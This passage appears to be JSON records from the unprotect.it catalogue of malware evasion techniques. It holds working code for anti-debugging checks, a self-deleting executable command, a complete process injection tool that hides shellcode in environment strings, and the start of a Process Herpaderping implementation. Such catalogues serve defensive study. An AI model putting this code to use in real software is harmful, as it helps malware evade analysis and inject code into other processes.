            "plain_code": "program NtQueryProcessInformation;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  Winapi.Windows,\r\n  System.SysUtils;\r\n\r\nfunction NtQueryInformationProcess(\r\n  ProcessHandle : THandle;\r\n  ProcessInformationClass : DWORD;\r\n  ProcessInformation : Pointer;\r\n  ProcessInformationLength : ULONG;\r\n  ReturnLength : PULONG\r\n): LongInt; stdcall; external 'ntdll.dll';\r\n\r\n// https://docs.microsoft.com/en-gb/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess\r\nfunction isDebuggerPresent(): Boolean;\r\nvar hProcess : THandle;\r\n    APortNumber : DWORD;\r\n    ARetLen : Cardinal;\r\n\r\nconst ProcessDebugPort = 7;\r\nbegin\r\n  hProcess := GetCurrentProcess();\r\n  if hProcess = 0 then\r\n    Exit();\r\n  ///\r\n\r\n  if NtQueryInformationProcess(hProcess, ProcessDebugPort, @APortNumber, sizeOf(DWORD), @ARetLen) <> ERROR_SUCCESS then\r\n    Exit();\r\n\r\n  result := APortNumber <> 0;\r\nend;\r\n\r\nbegin\r\n  try\r\n    if isDebuggerPresent() then\r\n      raise Exception.Create('Debugger Detected !');\r\n\r\n    WriteLn('No Debugger Detected :)');\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\n\r\n  WriteLn('Press a return key to close application.');\r\n  ReadLn;\r\nend."
        },
        {
            "id": 78,
            "language": {
                "id": 9,
                "label": "C#",
                "code_class": "csharp"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/54/?format=api",
            "description": "",
            "plain_code": "using System;\r\nusing System.Runtime.InteropServices;\r\n\r\n[DllImport(\"ntdll.dll\", SetLastError = true)]\r\nstatic extern int NtQueryInformationProcess(\r\n    IntPtr processHandle,\r\n    int processInformationClass,\r\n    ref IntPtr processInformation,\r\n    uint processInformationLength,\r\n    ref IntPtr returnLength\r\n);\r\n\r\n[DllImport(\"kernel32.dll\", SetLastError = true)]\r\nstatic extern IntPtr GetCurrentProcess();\r\n\r\nbool isBeingDebugged()\r\n{\r\n    var ERROR_SUCCESS = 0x0;\r\n    var ProcessDebugPort = 0x7;\r\n\r\n    IntPtr currProcessHandle = GetCurrentProcess();\r\n    if (currProcessHandle == IntPtr.Zero)\r\n    {\r\n        throw new Exception(\"Could not retrieve current process handle.\");\r\n    }\r\n\r\n    IntPtr returnLength = IntPtr.Zero;\r\n    IntPtr portNumber = IntPtr.Zero;\r\n\r\n    int ntStatus = NtQueryInformationProcess(currProcessHandle, ProcessDebugPort, ref portNumber, (uint)IntPtr.Size, ref returnLength);        \r\n    if (ntStatus != ERROR_SUCCESS)\r\n    {\r\n        throw new Exception(\"Could not query information process.\");\r\n    }\r\n\r\n    return (portNumber != IntPtr.Zero);\r\n}\r\n\r\nif (isBeingDebugged())\r\n{\r\n    throw new Exception(\"Debugger Detected !\");\r\n}\r\n\r\nConsole.WriteLine(\"No Debugger Detected :)\");"
        },
        {
            "id": 79,
            "language": {
                "id": 9,
                "label": "C#",
                "code_class": "csharp"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/167/?format=api",
            "description": "",
            "plain_code": "using System;\r\nusing System.Diagnostics;\r\n\r\nProcessStartInfo processInfo = new ProcessStartInfo();\r\n\r\nprocessInfo.CreateNoWindow = true;\r\nprocessInfo.FileName = \"cmd.exe\";\r\nprocessInfo.Arguments = String.Format(\r\n    \"/c for /l %i in (0) do ( timeout 1 && del \\\"{0}\\\" && IF NOT EXIST \\\"{0}\\\" (exit /b))\",\r\n    System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName\r\n);\r\nProcess.Start(processInfo);"
        },
        {
            "id": 75,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/178/?format=api",
            "description": "Author: @x86matthew",
            "plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\n\r\n#define LOADER_CODE_OFFSET 8\r\n\r\nstruct PROCESS_BASIC_INFORMATION\r\n{\r\n\tDWORD ExitStatus;\r\n\tBYTE *PebBaseAddress;\r\n\tDWORD *AffinityMask;\r\n\tDWORD BasePriority;\r\n\tDWORD *UniqueProcessId;\r\n\tDWORD *InheritedFromUniqueProcessId;\r\n};\r\n\r\n#define ProcessBasicInformation 0\r\n\r\nDWORD (WINAPI *NtQueryInformationProcess)(HANDLE hProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);\r\nDWORD (WINAPI *NtCreateThreadEx)(HANDLE *phThreadHandle, DWORD DesiredAccess, PVOID ObjectAttributes, HANDLE hProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, DWORD *pZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);\r\n\r\nBYTE bGlobal_LoaderCode[] =\r\n{\r\n\t// prefix\r\n\t'A', 0x00, 'A', 0x00, 'A', 0x00, '=', 0x00,\r\n\r\n\t// push edi\r\n\t0x57,\r\n\t// push esi\r\n\t0x56,\r\n\r\n\t// push 0x40 (PAGE_EXECUTE_READWRITE)\r\n\t0x6A, 0x40,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// push eax (MEM_COMMIT | MEM_RESERVE)\r\n\t0x50,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// push eax (Size)\r\n\t0x50,\r\n\t// xor eax, eax\r\n\t0x33, 0xC0,\r\n\t// push eax (BaseAddr)\r\n\t0x50,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// call eax (VirtualAlloc)\r\n\t0xFF, 0xD0,\r\n\r\n\t// mov edi, eax (DataAddr)\r\n\t0x8B, 0xF8,\r\n\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// push eax (ProcessID)\r\n\t0x50,\r\n\t// xor eax, eax\r\n\t0x33, 0xC0,\r\n\t// push eax (bInheritHandle)\r\n\t0x50,\r\n\t// push 0x10 (PROCESS_VM_READ)\r\n\t0x6A, 0x10,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// call eax (OpenProcess)\r\n\t0xFF, 0xD0,\r\n\r\n\t// mov esi, eax (ProcessHandle)\r\n\t0x8B, 0xF0,\r\n\r\n\t// xor eax, eax\r\n\t0x33, 0xC0,\r\n\t// push eax (NumberOfBytesRead)\r\n\t0x50,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// push eax (BytesToRead)\r\n\t0x50,\r\n\t// push edi (ReadBuffer)\r\n\t0x57,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// push eax (BaseAddr)\r\n\t0x50,\r\n\t// push esi (ProcessHandle)\r\n\t0x56,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// call eax (ReadProcessMemory)\r\n\t0xFF, 0xD0,\r\n\r\n\t// push esi (ProcessHandle)\r\n\t0x56,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// call eax (CloseHandle)\r\n\t0xFF, 0xD0,\r\n\r\n\t// pushad\r\n\t0x60,\r\n\t// call edi (DataAddr)\r\n\t0xFF, 0xD7,\r\n\t// popad\r\n\t0x61,\r\n\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// push eax (MEM_RELEASE)\r\n\t0x50,\r\n\t// xor eax, eax\r\n\t0x33, 0xC0,\r\n\t// push eax (Size)\r\n\t0x50,\r\n\t// push edi (DataAddr)\r\n\t0x57,\r\n\t// mov eax, 0xXXXXXXXX\r\n\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t// xor eax, 0xXXXXXXXX\r\n\t0x35, 0x44, 0x33, 0x22, 0x11,\r\n\t// call eax (VirtualFree)\r\n\t0xFF, 0xD0,\r\n\r\n\t// pop esi\r\n\t0x5E,\r\n\t// pop edi\r\n\t0x5F,\r\n\r\n\t// return from thread cleanly - can't use \"retn 4\"\r\n\t// pop eax\r\n\t0x58,\r\n\t// pop ecx\r\n\t0x59,\r\n\t// push eax\r\n\t0x50,\r\n\t// ret\r\n\t0xC3,\r\n\r\n\t// (end of string - 2 widechar null characters)\r\n\t0x00, 0x00, 0x00, 0x00\r\n};\r\n\r\nDWORD EncodeDwordValue(DWORD dwValue, DWORD *pdwXorValue, DWORD *pdwEncodedValue)\r\n{\r\n\tBYTE bOrigValue[4];\r\n\tBYTE bXorValue[4];\r\n\tBYTE bEncodedValue[4];\r\n\r\n\t// copy original value\r\n\tmemcpy((void*)bOrigValue, (void*)&dwValue, sizeof(DWORD));\r\n\r\n\t// encode value\r\n\tfor(DWORD i = 0; i < sizeof(DWORD); i++)\r\n\t{\r\n\t\tbXorValue[i] = 0x01;\r\n\t\tfor(;;)\r\n\t\t{\r\n\t\t\t// ensure the value contains no 0x00 bytes\r\n\t\t\tbEncodedValue[i] = bOrigValue[i] ^ bXorValue[i];\r\n\t\t\tif(bEncodedValue[i] == 0 || bXorValue[i] == 0)\r\n\t\t\t{\r\n\t\t\t\tbXorValue[i]++;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\t// store values\r\n\t*pdwXorValue = *(DWORD*)bXorValue;\r\n\t*pdwEncodedValue = *(DWORD*)bEncodedValue;\r\n\r\n\treturn 0;\r\n}\r\n\r\nDWORD StartInjectedProcess(char *pExePath, BYTE *pPayload, DWORD dwPayloadSize)\r\n{\r\n\tSTARTUPINFO StartupInfo;\r\n\tPROCESS_INFORMATION ProcessInfo;\r\n\tBYTE bLoaderCode_Copy[sizeof(bGlobal_LoaderCode)];\r\n\tPROCESS_BASIC_INFORMATION ProcessBasicInfoData;\r\n\tBYTE *pRemotePtr_RtlUserProcessParameters = NULL;\r\n\tBYTE *pRemotePtr_EnvironmentStr = NULL;\r\n\tDWORD dwOriginalProtect = 0;\r\n\tHANDLE hThread = NULL;\r\n\tDWORD dwTempProtect = 0;\r\n\twchar_t *pOrigEnvBlock = NULL;\r\n\tDWORD dwOrigEnvBlockTotalLengthBytes = 0;\r\n\tDWORD dwCurrEnvEntryLength = 0;\r\n\twchar_t *pCurrEnvEntry = NULL;\r\n\tBYTE *pNewEnvBlock = NULL;\r\n\r\n\t// ensure the loader code is 16-bit aligned\r\n\tif((sizeof(bGlobal_LoaderCode) % 2) != 0)\r\n\t{\r\n\t\tprintf(\"Error: Loader code is out of alignment\\n\");\r\n\t\t// loader code is out of alignment - add an extra 0x00 character to the end of the data\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tprintf(\"Generating loader code...\\n\");\r\n\r\n\t// encode values in the loader code to ensure no 0x00 characters exist\r\n\tEncodeDwordValue(MEM_COMMIT | MEM_RESERVE, (DWORD*)&bGlobal_LoaderCode[13], (DWORD*)&bGlobal_LoaderCode[18]);\r\n\tEncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[24], (DWORD*)&bGlobal_LoaderCode[29]);\r\n\tEncodeDwordValue((DWORD)VirtualAlloc, (DWORD*)&bGlobal_LoaderCode[38], (DWORD*)&bGlobal_LoaderCode[43]);\r\n\tEncodeDwordValue(GetCurrentProcessId(), (DWORD*)&bGlobal_LoaderCode[52], (DWORD*)&bGlobal_LoaderCode[57]);\r\n\tEncodeDwordValue((DWORD)OpenProcess, (DWORD*)&bGlobal_LoaderCode[68], (DWORD*)&bGlobal_LoaderCode[73]);\r\n\tEncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[85], (DWORD*)&bGlobal_LoaderCode[90]);\r\n\tEncodeDwordValue((DWORD)pPayload, (DWORD*)&bGlobal_LoaderCode[97], (DWORD*)&bGlobal_LoaderCode[102]);\r\n\tEncodeDwordValue((DWORD)ReadProcessMemory, (DWORD*)&bGlobal_LoaderCode[109], (DWORD*)&bGlobal_LoaderCode[114]);\r\n\tEncodeDwordValue((DWORD)CloseHandle, (DWORD*)&bGlobal_LoaderCode[122], (DWORD*)&bGlobal_LoaderCode[127]);\r\n\tEncodeDwordValue(MEM_RELEASE, (DWORD*)&bGlobal_LoaderCode[138], (DWORD*)&bGlobal_LoaderCode[143]);\r\n\tEncodeDwordValue((DWORD)VirtualFree, (DWORD*)&bGlobal_LoaderCode[153], (DWORD*)&bGlobal_LoaderCode[158]);\r\n\r\n\tprintf(\"Appending code to existing environment string...\\n\");\r\n\r\n\t// get existing environment block\r\n\tpOrigEnvBlock = GetEnvironmentStringsW();\r\n\tif(pOrigEnvBlock == NULL)\r\n\t{\r\n\t\tprintf(\"Error: Failed to read environment strings\\n\");\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// calculate length of existing environment block\r\n\tfor(;;)\r\n\t{\r\n\t\t// get current environment string entry\r\n\t\tpCurrEnvEntry = (wchar_t*)((BYTE*)pOrigEnvBlock + dwOrigEnvBlockTotalLengthBytes);\r\n\r\n\t\t// calculate length\r\n\t\tdwCurrEnvEntryLength = wcslen(pCurrEnvEntry);\r\n\t\tif(dwCurrEnvEntryLength == 0)\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\t// increase total size counter\r\n\t\tdwOrigEnvBlockTotalLengthBytes += ((dwCurrEnvEntryLength + 1) * sizeof(wchar_t));\r\n\t}\r\n\r\n\t// allocate a new environment string buffer\r\n\tpNewEnvBlock = (BYTE*)VirtualAlloc(NULL, dwOrigEnvBlockTotalLengthBytes + sizeof(bGlobal_LoaderCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n\tif(pNewEnvBlock == NULL)\r\n\t{\r\n\t\tprintf(\"Error: Failed to allocate local memory\\n\");\r\n\r\n\t\t// error\r\n\t\tFreeEnvironmentStringsW(pOrigEnvBlock);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// copy the original values and append the loader code\r\n\tmemcpy((void*)pNewEnvBlock, pOrigEnvBlock, dwOrigEnvBlockTotalLengthBytes);\r\n\tmemcpy((void*)(pNewEnvBlock + dwOrigEnvBlockTotalLengthBytes), bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode));\r\n\r\n\t// free temporary environment string buffer\r\n\tFreeEnvironmentStringsW(pOrigEnvBlock);\r\n\r\n\tprintf(\"Creating target process: '%s'...\\n\", pExePath);\r\n\r\n\t// launch target process with the injection code in the environment strings\t\r\n\tmemset(&StartupInfo, 0, sizeof(StartupInfo));\r\n\tStartupInfo.cb = sizeof(StartupInfo);\r\n\tif(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, (wchar_t*)pNewEnvBlock, NULL, &StartupInfo, &ProcessInfo) == 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to launch target process\\n\");\r\n\r\n\t\t// error\r\n\t\tVirtualFree(pNewEnvBlock, 0, MEM_RELEASE);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// free environment block buffer\r\n\tVirtualFree(pNewEnvBlock, 0, MEM_RELEASE);\r\n\r\n\tprintf(\"Locating target code in remote process...\\n\");\r\n\r\n\t// get process info\r\n\tmemset((void*)&ProcessBasicInfoData, 0, sizeof(ProcessBasicInfoData));\r\n\tif(NtQueryInformationProcess(ProcessInfo.hProcess, ProcessBasicInformation, &ProcessBasicInfoData, sizeof(ProcessBasicInfoData), NULL) != 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to retrieve process info\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// create a thread that calls Sleep(0) to initialise the environment strings in the PEB\r\n\tif(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, Sleep, (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to create Sleep thread in remote process\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\tWaitForSingleObject(hThread, INFINITE);\r\n\tCloseHandle(hThread);\r\n\r\n\t// read RtlUserProcessParameters ptr from PEB\r\n\tif(ReadProcessMemory(ProcessInfo.hProcess, (void*)(ProcessBasicInfoData.PebBaseAddress + 0x10), (void*)&pRemotePtr_RtlUserProcessParameters, sizeof(BYTE*), NULL) == 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to read RtlUserProcessParameters value from PEB\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// read EnvironmentStr ptr from RtlUserProcessParameters\r\n\tif(ReadProcessMemory(ProcessInfo.hProcess, (void*)(pRemotePtr_RtlUserProcessParameters + 0x48), (void*)&pRemotePtr_EnvironmentStr, sizeof(BYTE*), NULL) == 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to read EnvironmentStr value from RtlUserProcessParameters\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// update environment string ptr to ignore the original bytes\r\n\tpRemotePtr_EnvironmentStr += dwOrigEnvBlockTotalLengthBytes;\r\n\r\n\t// read EnvironmentStr value\r\n\tmemset(bLoaderCode_Copy, 0, sizeof(bLoaderCode_Copy));\r\n\tif(ReadProcessMemory(ProcessInfo.hProcess, (void*)pRemotePtr_EnvironmentStr, (void*)bLoaderCode_Copy, sizeof(bGlobal_LoaderCode), NULL) == 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to read loader data from EnvironmentStr\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// ensure the loader code has been copied correctly\r\n\tif(memcmp(bLoaderCode_Copy, bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode)) != 0)\r\n\t{\r\n\t\tprintf(\"Error: Invalid loader data\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tprintf(\"Executing code in remote process...\\n\");\r\n\r\n\t// temporarily make the loader code executable\r\n\tif(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), PAGE_EXECUTE_READWRITE, &dwOriginalProtect) == 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to update memory protection\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// execute payload\r\n\tif(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, (BYTE*)(pRemotePtr_EnvironmentStr + LOADER_CODE_OFFSET), (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to create code loader thread in remote process\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\tWaitForSingleObject(hThread, INFINITE);\r\n\tCloseHandle(hThread);\r\n\r\n\t// restore original protection value\r\n\tif(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), dwOriginalProtect, &dwTempProtect) == 0)\r\n\t{\r\n\t\tprintf(\"Error: Failed to update memory protection\\n\");\r\n\r\n\t\t// error\r\n\t\tTerminateProcess(ProcessInfo.hProcess, 0);\r\n\t\tCloseHandle(ProcessInfo.hThread);\r\n\t\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// resume main thread\r\n\tResumeThread(ProcessInfo.hThread);\r\n\r\n\t// close handles\r\n\tCloseHandle(ProcessInfo.hThread);\r\n\tCloseHandle(ProcessInfo.hProcess);\r\n\r\n\treturn 0;\r\n}\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tchar *pExePath = NULL;\r\n\r\n\tBYTE bPayload[] =\r\n\t{\r\n\t\t// string: <user32.dll>\r\n\t\t// push 0x00006C6C\r\n\t\t0x68, 0x6C, 0x6C, 0x00, 0x00,\r\n\t\t// push 0x642E3233\r\n\t\t0x68, 0x33, 0x32, 0x2E, 0x64,\r\n\t\t// push 0x72657375\r\n\t\t0x68, 0x75, 0x73, 0x65, 0x72,\r\n\t\t// mov ecx, esp\r\n\t\t0x8B, 0xCC,\r\n\t\t// push ecx (ModuleName)\r\n\t\t0x51,\r\n\t\t// mov eax, LoadLibraryA\r\n\t\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t\t// call eax\r\n\t\t0xFF, 0xD0,\r\n\r\n\t\t // string: <Code injected successfully!>\r\n\t\t// push 0x0021796C\r\n\t\t0x68, 0x6C, 0x79, 0x21, 0x00,\r\n\t\t// push 0x6C756673\r\n\t\t0x68, 0x73, 0x66, 0x75, 0x6C,\r\n\t\t// push 0x73656363\r\n\t\t0x68, 0x63, 0x63, 0x65, 0x73,\r\n\t\t// push 0x75732064\r\n\t\t0x68, 0x64, 0x20, 0x73, 0x75,\r\n\t\t// push 0x65746365\r\n\t\t0x68, 0x65, 0x63, 0x74, 0x65,\r\n\t\t// push 0x6A6E6920\r\n\t\t0x68, 0x20, 0x69, 0x6E, 0x6A,\r\n\t\t// push 0x65646F43\r\n\t\t0x68, 0x43, 0x6F, 0x64, 0x65,\r\n\t\t// mov ecx, esp\r\n\t\t0x8B, 0xCC,\r\n\t\t// string: <www.x86matthew.com>\r\n\t\t// push 0x00006D6F\r\n\t\t0x68, 0x6F, 0x6D, 0x00, 0x00,\r\n\t\t// push 0x632E7765\r\n\t\t0x68, 0x65, 0x77, 0x2E, 0x63,\r\n\t\t// push 0x68747461\r\n\t\t0x68, 0x61, 0x74, 0x74, 0x68,\r\n\t\t// push 0x6D363878\r\n\t\t0x68, 0x78, 0x38, 0x36, 0x6D,\r\n\t\t// push 0x2E777777\r\n\t\t0x68, 0x77, 0x77, 0x77, 0x2E,\r\n\t\t// mov ebx, esp\r\n\t\t0x8B, 0xDC,\r\n\t\t// push MB_OK\r\n\t\t0x6A, 0x00,\r\n\t\t// push ebx (Caption)\r\n\t\t0x53,\r\n\t\t// push ecx (Text)\r\n\t\t0x51,\r\n\t\t// push hWnd\r\n\t\t0x6A, 0x00,\r\n\t\t// mov eax, MessageBoxA\r\n\t\t0xB8, 0x44, 0x33, 0x22, 0x11,\r\n\t\t// call eax\r\n\t\t0xFF, 0xD0,\r\n\r\n\t\t// add esp, 0x3C\r\n\t\t0x83, 0xC4, 0x3C,\r\n\r\n\t\t// ret\r\n\t\t0xC3\r\n\t};\r\n\r\n\t// set function addresses\r\n\t*(DWORD*)&bPayload[19] = (DWORD)LoadLibraryA;\r\n\t*(DWORD*)&bPayload[96] = (DWORD)MessageBoxA;\r\n\r\n\tprintf(\"ProcEnvInjection - www.x86matthew.com\\n\\n\");\r\n\r\n\t// check params\r\n\tif(argc != 2)\r\n\t{\r\n\t\tprintf(\"Usage: %s [exe_path]\\n\\n\", argv[0]);\r\n\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// get cmd param\r\n\tpExePath = argv[1];\r\n\t\r\n\t// get NtQueryInformationProcess function\r\n\tNtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtQueryInformationProcess\");\r\n\tif(NtQueryInformationProcess == NULL)\r\n\t{\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// get NtCreateThreadEx function\r\n\tNtCreateThreadEx = (unsigned long (__stdcall *)(void ** ,unsigned long,void *,void *,void *,void *,unsigned long,unsigned long *,unsigned long,unsigned long,void *))GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtCreateThreadEx\");\r\n\tif(NtCreateThreadEx == NULL)\r\n\t{\r\n\t\treturn 1;\r\n\t}\r\n\r\n\t// start target process\r\n\tif(StartInjectedProcess(pExePath, bPayload, sizeof(bPayload)) != 0)\r\n\t{\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tprintf(\"Injected successfully\\n\");\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 74,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/170/?format=api",
            "description": "",
            "plain_code": "//\r\n// Copyright (c) Johnny Shaw. All rights reserved.\r\n// \r\n// File:     source/ProcessHerpaderping/herpaderp.cpp\r\n// Author:   Johnny Shaw\r\n// Abstract: Herpaderping Functionality\r\n//\r\n#include \"pch.hpp\"\r\n#include \"herpaderp.hpp\"\r\n#include \"utils.hpp\"\r\n\r\n_Use_decl_annotations_\r\nHRESULT Herpaderp::ExecuteProcess(\r\n    const std::wstring& SourceFileName,\r\n    const std::wstring& TargetFileName,\r\n    const std::optional<std::wstring>& ReplaceWithFileName,\r\n    std::span<const uint8_t> Pattern, \r\n    uint32_t Flags)\r\n{\r\n    if (FlagOn(Flags, FlagHoldHandleExclusive) && \r\n        FlagOn(Flags, FlagCloseFileEarly))\r\n    {\r\n        //\r\n        // Incompatible flags.\r\n        //\r\n        return E_INVALIDARG;\r\n    }\r\n\r\n    if (FlagOn(Flags, FlagWaitForProcess) &&\r\n        FlagOn(Flags, FlagKillSpawnedProcess))\r\n    {\r\n        //\r\n        // Incompatible flags.\r\n        //\r\n        return E_INVALIDARG;\r\n    }\r\n\r\n    wil::unique_handle processHandle;\r\n    //\r\n    // If something goes wrong, we'll terminate the process.\r\n    //\r\n    auto terminateProcess = wil::scope_exit([&processHandle]() -> void\r\n    {\r\n        if (processHandle.is_valid())\r\n        {\r\n            TerminateProcess(processHandle.get(), 0);\r\n        }\r\n    });\r\n\r\n    Utils::Log(Log::Success, L\"Source File: \\\"%ls\\\"\", SourceFileName.c_str());\r\n    Utils::Log(Log::Success, L\"Target File: \\\"%ls\\\"\", TargetFileName.c_str());\r\n\r\n    //\r\n    // Open the source binary and the target file we will execute it from.\r\n    //\r\n    wil::unique_handle sourceHandle;\r\n    